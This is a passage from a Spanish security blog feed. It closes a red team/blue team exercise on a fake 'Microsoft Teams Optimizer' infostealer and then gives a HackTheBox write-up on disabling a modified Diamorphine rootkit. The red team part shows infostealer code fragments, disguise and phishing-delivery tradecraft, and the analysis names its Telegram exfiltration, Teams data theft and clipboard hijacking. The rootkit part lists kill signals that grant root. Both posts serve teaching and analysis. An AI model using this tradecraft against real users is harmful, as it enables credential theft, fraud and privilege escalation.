&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; browser_stealer(&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft\\Edge&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mantener programa vivo para capturas periódicas&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Utilicé &lt;strong&gt;PyInstaller&lt;/strong&gt; para compilar todo el proyecto en un único archivo ejecutable (&lt;code&gt;.exe&lt;/code&gt;). Esto no solo facilita la ejecución en sistemas que no tienen Python instalado, sino que también permite ocultar las dependencias.&lt;/p&gt;
&lt;p&gt;Para que el ataque fuera efectivo, utilicé el parámetro &lt;code&gt;--add-data&lt;/code&gt; para incrustar el binario &lt;code&gt;ms_teams_parser.exe&lt;/code&gt; dentro del paquete. De este modo, cuando el usuario ejecuta el &amp;ldquo;Optimizador&amp;rdquo;, el parser se extrae y se ejecuta en una carpeta temporal sin que la víctima note nada.&lt;/p&gt;
&lt;p&gt;Un ejecutable con el icono por defecto de Windows es sospechoso. Por eso, integré un &lt;strong&gt;icono de alta resolución de Microsoft Teams&lt;/strong&gt; y añadí metadatos al archivo (versión, desarrollador, descripción) para que, al pasar el ratón por encima o verlo en el Administrador de Tareas, pareciera un componente legítimo de Microsoft.&lt;/p&gt;
&lt;p&gt;Con el binario listo, el siguiente paso fue el despliegue. Subí el proyecto a un repositorio de &lt;strong&gt;GitHub&lt;/strong&gt; con un nombre convincente.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-806c-8517-efffe3f02b8a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Desde aquí, el ataque de ingeniería social está servido: un simple correo de &lt;em&gt;phishing&lt;/em&gt; informando sobre una &amp;ldquo;actualización crítica de rendimiento para el teletrabajo&amp;rdquo; con el enlace al repositorio sería suficiente para comprometer a un usuario desprevenido.&lt;/p&gt;
&lt;h2 id="blue-team-khaled-el-modden"&gt;Blue Team (Khaled El Modden)&lt;/h2&gt;
&lt;p&gt;Si el Red Team vive de ocultar, engañar y exfiltrar, el &lt;strong&gt;Blue Team existe para lo contrario&lt;/strong&gt;: observar, correlacionar y desmontar. En este reto, mi papel no es ejecutar el binario ni “ver qué pasa”, sino &lt;strong&gt;entender exactamente por qué pasa&lt;/strong&gt; y cómo detenerlo antes de que el impacto sea real.&lt;/p&gt;
&lt;p&gt;Como Blue Team, mi enfoque parte de una premisa clara: &lt;em&gt;todo malware deja rastro&lt;/em&gt;. No importa lo bien disfrazado que esté el ejecutable, lo pulida que sea la GUI o lo legítimo que parezca el tráfico de red. Siempre hay artefactos: en memoria, en disco, en procesos, en llamadas al sistema o en el comportamiento del usuario que algo rompe.&lt;/p&gt;
&lt;h3 id="fase-0-preparación-del-entorno"&gt;Fase 0: Preparación del entorno&lt;/h3&gt;
&lt;p&gt;Para evitar contaminación y permitir una observación completa, trabajé en una &lt;strong&gt;máquina virtual con Windows 10 Pro&lt;/strong&gt;, configurada para poder revertir su estado en cualquier momento. Esto es clave para mantener un entorno controlado y reproducible.&lt;/p&gt;
&lt;h3 id="fase-1-reconocimiento-inicial-del-binario"&gt;Fase 1: Reconocimiento inicial del binario&lt;/h3&gt;
&lt;p&gt;Lo primero que hacemos es interrogar al archivo sin ejecutarlo. Al usar el comando &lt;code&gt;file&lt;/code&gt; en nuestro entorno de análisis, confirmamos la naturaleza del objetivo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Archivo:&lt;/strong&gt; &lt;code&gt;TeamsBoost.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tipo:&lt;/strong&gt; &lt;code&gt;PE32+ executable (GUI) x86-64&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8016-a575-fd728707fd9b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Qué significa esto?&lt;/strong&gt; Que estamos ante un binario de 64 bits diseñado para Windows con una interfaz gráfica. Esto ya nos da una pista: el atacante quiere que el usuario interactúe con una ventana para generar confianza.&lt;/p&gt;
&lt;h3 id="fase-2-inmersión-en-el-análisis-estático-ghidra"&gt;Fase 2: Inmersión en el Análisis Estático (Ghidra)&lt;/h3&gt;
&lt;p&gt;Para mirar bajo el capó, cargamos el binario en &lt;strong&gt;Ghidra&lt;/strong&gt;. El análisis estático nos permite leer el código &amp;ldquo;muerto&amp;rdquo; antes de que tenga oportunidad de hacernos daño.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-8503-e5a2a983475d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez cargado iremos directamente a los strings para ver si podemos rescatar alguna pista. Lo que podemos observar es que no se trata de un ejecutable &lt;strong&gt;.exe&lt;/strong&gt; nativo sino que se trata de un programa en python(.py) convertido a un .exe. Os preguntareis como llego a esta conclusión: Sencillo, los strings:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8073-a87d-c8b8b24dc198.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Temos una lista de cadenas que incluyen &lt;code&gt;PYINSTALLER_STRICT_UNPACK_MODE&lt;/code&gt;, &lt;code&gt;pyinstaller_pyz&lt;/code&gt; y rutas que apuntan a librerías de Python.&lt;/p&gt;
&lt;p&gt;El malware no ha sido escrito en C puro, sino en &lt;strong&gt;Python&lt;/strong&gt; y luego empaquetado con &lt;strong&gt;PyInstaller&lt;/strong&gt;. Esto es una técnica común para acelerar el desarrollo de malware, permitiendo al atacante usar librerías potentes de forma sencilla.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Llamadas a la API de Windows&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sabiendo esto ya podría cambiar de entorno y utilizar el toolkit de python para descompilar y ver como funciona exactamente el código, pero como estamos en proceso de aprendizaje buscamos más pistas y damos con una buena: ¿Cómo actúa PyInstaller?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8083-b172-cd86cd50ddbe.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Estos strings parecen curiosos así que vamos a ver el contexto.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80b6-8804-c7a87654b858.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Observamos llamadas críticas como &lt;code&gt;CreateProcessW&lt;/code&gt; y referencias a ventanas ocultas (&lt;code&gt;PyInstallerOnefileHiddenWindow&lt;/code&gt;).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Por qué es relevante:&lt;/strong&gt; Esto nos indica que el ejecutable principal actuará como un &amp;ldquo;loader&amp;rdquo;, lanzando otros procesos de forma silenciosa para que el usuario no sospeche que hay actividad en segundo plano.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fase-3-desempaquetado-y-extracción-de-artefactos"&gt;Fase 3: Desempaquetado y Extracción de Artefactos&lt;/h3&gt;
&lt;p&gt;Sabiendo que es un paquete de PyInstaller, nuestro siguiente paso es extraer el código original. Utilizamos la herramienta &lt;code&gt;pyinstxtractor.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al ejecutarla, la consola nos muestra un volcado de archivos (más de 1.000 elementos). Entre el ruido de las librerías estándar de Python, localizamos el botín: un archivo llamado &lt;strong&gt;&lt;code&gt;INFOSTEALER_V9.PYC&lt;/code&gt;&lt;/strong&gt;.
Este archivo es el &lt;em&gt;&lt;strong&gt;bytecode&lt;/strong&gt;&lt;/em&gt; compilado. No es texto plano todavía, pero es mucho más cercano a la lógica del atacante que el binario original.&lt;/p&gt;
&lt;p&gt;Nos creara la carpeta : TeamsBoost.exe_extracted&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8059-a1d4-cc29e09ad4db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-4-reversado-del-bytecode-la-lógica-del-atacante"&gt;Fase 4: Reversado del Bytecode (La Lógica del Atacante)&lt;/h3&gt;
&lt;p&gt;Para leer el archivo &lt;code&gt;.pyc&lt;/code&gt;, utilizamos &lt;code&gt;pycdc&lt;/code&gt; (C++ Python Bytecode Disassembler). Aquí el análisis se vuelve crítico, ya que la captura de pantalla del código revela las &amp;ldquo;tripas&amp;rdquo; de la operación:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pycdc/pycdas infostealer_v9.pyc &amp;gt; infostealer_v9.asm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8069-8697-e48f319c2ae4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-8a96-fc5416971fcd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8026-b715-c1326aa1d097.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Canal de Exfiltración (C2):&lt;/strong&gt; En la imagen del código vemos claramente las variables:
&lt;code&gt;token = &amp;quot;7418172573:AAGT5vS...&amp;quot;&lt;/code&gt;* &lt;code&gt;chat_id = &amp;quot;1014913217&amp;quot;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El malware usa la API de &lt;strong&gt;Telegram&lt;/strong&gt; para enviar los datos robados. Es una táctica inteligente porque el tráfico hacia Telegram suele ser visto como legítimo por muchos firewalls.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Módulos de Robo:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;El código muestra funciones como &lt;code&gt;find_teams_db&lt;/code&gt; y &lt;code&gt;periodic_screenshots&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El malware busca específicamente bases de datos de Microsoft Teams (donde se guardan tokens de sesión y mensajes) y toma capturas de pantalla de la víctima cada cierto tiempo.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El &amp;ldquo;Clipboard Hijacker&amp;rdquo; (Secuestro de Portapapeles):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Una de las funciones más impactantes muestra una expresión regular (&lt;code&gt;regex&lt;/code&gt;): &lt;code&gt;\d{4}-\d{4}-\d{4}-\d{4}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El programa monitoriza el portapapeles. Si detecta que el usuario copia algo que parece un número de tarjeta de crédito, el malware lo sustituye por una cuenta controlada por el atacante (&lt;code&gt;1111-2222-3333-4444&lt;/code&gt;). Si el usuario va a hacer una transferencia o pago, terminará enviando el dinero al atacante sin darse cuenta.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fase-5-análisis-dinámico-comprobación-en-vivo"&gt;Fase 5: Análisis Dinámico (Comprobación en Vivo)&lt;/h3&gt;
&lt;p&gt;Finalmente, &amp;ldquo;apretamos el gatillo&amp;rdquo; y ejecutamos el malware para observar su comportamiento.&lt;/p&gt;
&lt;p&gt;Antes de nada con estas herramientas inicializadas podremos analizar el comportamiento del malware, solo nos falta ejecutarlo.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805c-ae39-c1b3ea136e34.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ingeniería Social&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Al ejecutar &lt;code&gt;TeamsBoost.exe&lt;/code&gt;, aparece una ventana titulada &lt;strong&gt;&amp;ldquo;Microsoft Teams Optimizer&amp;rdquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Se ve una barra de progreso verde avanzando lentamente. Es un engaño visual perfecto para mantener al usuario distraído mientras, en segundo plano, el script de Python está escaneando el disco y enviando datos. (Bonita interfaz Ismael :P)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-809c-831c-d6d777f31717.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tráfico de Red (Wireshark)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Abrimos &lt;strong&gt;Wireshark&lt;/strong&gt; para interceptar las comunicaciones.
Vemos paquetes dirigidos a la IP &lt;code&gt;149.154.167.220&lt;/code&gt; (servidores de Telegram) con el mensaje &lt;code&gt;TLSv1.3 Client Hello (SNI: api.telegram.org)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-806f-871a-f4d10f87c790.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El malware está efectivamente enviando la información recolectada a través del bot de Telegram que identificamos en la fase anterior.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monitoreo de Procesos&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Con &lt;strong&gt;Process Monitor&lt;/strong&gt;, filtramos la actividad. Observamos que en el momento exacto en que copiamos un texto, el proceso malicioso realiza operaciones de lectura/escritura en memoria para modificar el portapapeles. (Fijaros en las horas)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-80bb-8ebb-d7ebba6545e2.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8015-8915-ef69419f7e07.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-6-patching-y-simulación-de-ataque"&gt;Fase 6: Patching y Simulación de Ataque&lt;/h3&gt;
&lt;p&gt;Para cerrar el análisis con broche de oro, decidí realizar una técnica de &lt;strong&gt;Patching&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Qué es el Patching?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A nivel técnico, el patching consiste en modificar directamente el código o los datos de un binario ya compilado. En lugar de intentar programar el malware desde cero, alteramos el original para que obedezca nuestras órdenes. Es como cambiar el destinatario de una carta después de que ya ha sido escrita.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ejecución del Patch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En este caso, el objetivo era simple pero potente: &lt;strong&gt;redirigir el botín&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creamos nuestro propio Bot de Telegram y obtenemos un nuevo &lt;code&gt;token&lt;/code&gt; y &lt;code&gt;chat_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Localizamos en el código extraído (o mediante un editor hexadecimal como &lt;em&gt;&lt;strong&gt;ImHex&lt;/strong&gt;&lt;/em&gt;) las cadenas de texto originales del atacante.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sustitución:&lt;/strong&gt; Reemplazamos los valores del atacante por los nuestros.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-808a-8536-e9399c3ffaf6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8095-a668-dff98a39cd79.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8047-880c-c238eeb7ae97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al ejecutar nuestro binario &amp;ldquo;parcheado&amp;rdquo;, la víctima (en nuestro entorno de pruebas) sigue viendo la barra de progreso del optimizador de Teams. Sin embargo, en lugar de que la información viaje al servidor del criminal, viajara a nuestro bot.
Con esto, no solo hemos analizado la amenaza, sino que hemos demostrado un control total sobre ella. El patching nos permite validar cada hallazgo y confirmar que, efectivamente, la exfiltración funciona exactamente como predijimos en el análisis estático.&lt;/p&gt;
&lt;h2 id="conclusión-1"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Este ejercicio demuestra que, por mucho que un malware intente ocultarse tras capas de empaquetado y fachadas legítimas, un análisis estructurado permite despojarlo de sus defensas y, finalmente, neutralizarlo o incluso volverlo en su contra.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Cyberpsychosis (Easy)</title><link>https://synacklabs.github.io/posts/cyberpsychosis/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/cyberpsychosis/</guid><description>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cyberpsychosis&lt;/strong&gt; es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.&lt;/p&gt;
&lt;p&gt;El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.&lt;/p&gt;</description><content>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cyberpsychosis&lt;/strong&gt; es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.&lt;/p&gt;
&lt;p&gt;El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Al descomprimir el archivo proporcionado, encontramos un fichero con extensión &lt;code&gt;.ko&lt;/code&gt;: &lt;strong&gt;diamorphine.ko&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Identificamos el tipo de archivo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file diamorphine.ko
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un &lt;strong&gt;Kernel Object&lt;/strong&gt;, es decir, un &lt;strong&gt;módulo de kernel cargable (LKM)&lt;/strong&gt; para sistemas Linux. Estos módulos operan en ring 0 con privilegios absolutos sobre el sistema.&lt;/p&gt;
&lt;p&gt;Una búsqueda inicial revela que &lt;strong&gt;Diamorphine&lt;/strong&gt; es un rootkit LKM público y bien documentado, diseñado para:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ocultar procesos del sistema&lt;/li&gt;
&lt;li&gt;Elevar privilegios de usuarios arbitrarios&lt;/li&gt;
&lt;li&gt;Ocultarse a sí mismo de herramientas de monitorización&lt;/li&gt;
&lt;li&gt;Persistir en el kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="análisis-estático"&gt;Análisis estático&lt;/h2&gt;
&lt;h3 id="carga-en-ghidra"&gt;Carga en Ghidra&lt;/h3&gt;
&lt;p&gt;Cargamos el módulo &lt;code&gt;diamorphine.ko&lt;/code&gt; en &lt;strong&gt;Ghidra&lt;/strong&gt; para realizar ingeniería inversa del código. Como primer paso, inspeccionamos las strings presentes en el binario para identificar indicadores de comportamiento.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-806a-bd96-e62e5dc1f964.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Las strings confirman la presencia de &lt;strong&gt;Diamorphine&lt;/strong&gt;, mostrando referencias al proyecto original. Esto valida nuestra hipótesis inicial sobre la naturaleza del rootkit.&lt;/p&gt;
&lt;h3 id="documentación-del-comportamiento-estándar"&gt;Documentación del comportamiento estándar&lt;/h3&gt;
&lt;p&gt;Consultamos el repositorio oficial del proyecto (&lt;a href="https://github.com/m0nad/Diamorphine"&gt;https://github.com/m0nad/Diamorphine&lt;/a&gt;) para comprender el comportamiento esperado:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/8cd31af4-4ab0-4567-b8e1-35f23aff9c7f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Según la documentación, el módulo responde a señales de Unix (&lt;code&gt;kill&lt;/code&gt;) para activar funcionalidades:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Señal 31&lt;/strong&gt;: Ocultar o mostrar un proceso específico&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Señal 63&lt;/strong&gt;: Alternar visibilidad del módulo en &lt;code&gt;lsmod&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Señal 64&lt;/strong&gt;: Otorgar privilegios de root al proceso que envía la señal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;El procedimiento estándar de desinstalación es:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -63 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Hacer visible el módulo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rmmod diamorphine &lt;span style="color:#75715e"&gt;# Eliminar el módulo (como root)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="análisis-dinámico"&gt;Análisis dinámico&lt;/h2&gt;
&lt;h3 id="primer-intento-de-desactivación"&gt;Primer intento de desactivación&lt;/h3&gt;
&lt;p&gt;Nos conectamos al servicio remoto proporcionado:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc &amp;lt;IP&amp;gt; &amp;lt;Puerto&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aplicamos el procedimiento documentado para hacer visible el módulo y eliminarlo:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-803f-8708-f3c63321d4bc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El sistema entra en &lt;strong&gt;kernel panic&lt;/strong&gt; inmediatamente. Esto indica que el rootkit ha sido &lt;strong&gt;modificado intencionalmente&lt;/strong&gt; y no sigue el comportamiento del Diamorphine original. La señal 63 no es la correcta en esta versión.&lt;/p&gt;
&lt;h3 id="identificación-de-la-modificación"&gt;Identificación de la modificación&lt;/h3&gt;
&lt;p&gt;Retornamos al análisis estático. Navegamos a la función &lt;code&gt;hacked_kill()&lt;/code&gt;, responsable de procesar las señales enviadas al módulo.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/ad777010-d72c-4ac1-a263-56202fb84c81.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Observamos que la condición que controla la visibilidad del módulo compara contra un valor en hexadecimal. Convertimos el valor a decimal mediante clic derecho en Ghidra:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8032-a3d3-ee359b65f260.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El &lt;strong&gt;número mágico modificado es 46&lt;/strong&gt;, no 63 como en la versión original.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="solución-desactivación-del-rootkit-modificado"&gt;Solución: Desactivación del rootkit modificado&lt;/h2&gt;
&lt;p&gt;Con la señal correcta identificada, procedemos a desactivar el rootkit:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hacer visible el módulo&lt;/strong&gt; con la señal modificada:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -46 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtener privilegios de root&lt;/strong&gt; con la señal documentada:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -64 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80f7-b652-cac6bfa58d3d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El rootkit ahora es visible y tenemos privilegios de root sin causar kernel panic.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="recuperación-de-la-flag"&gt;Recuperación de la flag&lt;/h2&gt;
&lt;h3 id="búsqueda-en-el-sistema-de-archivos"&gt;Búsqueda en el sistema de archivos&lt;/h3&gt;
&lt;p&gt;Sabiendo que HackTheBox almacena sus flags típicamente en archivos &lt;code&gt;.txt&lt;/code&gt;, realizamos una búsqueda recursiva en todo el sistema:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -name &lt;span style="color:#e6db74"&gt;&amp;#34;*.txt&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c4-80f2-e71d70b353b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La búsqueda revela la ubicación del archivo que contiene la información oculta.&lt;/p&gt;
&lt;h3 id="verificación-final"&gt;Verificación final&lt;/h3&gt;
&lt;p&gt;Leemos el contenido de la flag:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /ruta/al/archivo.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80e2-9714-d4c1a067b6c7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos la flag y completamos el challenge.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
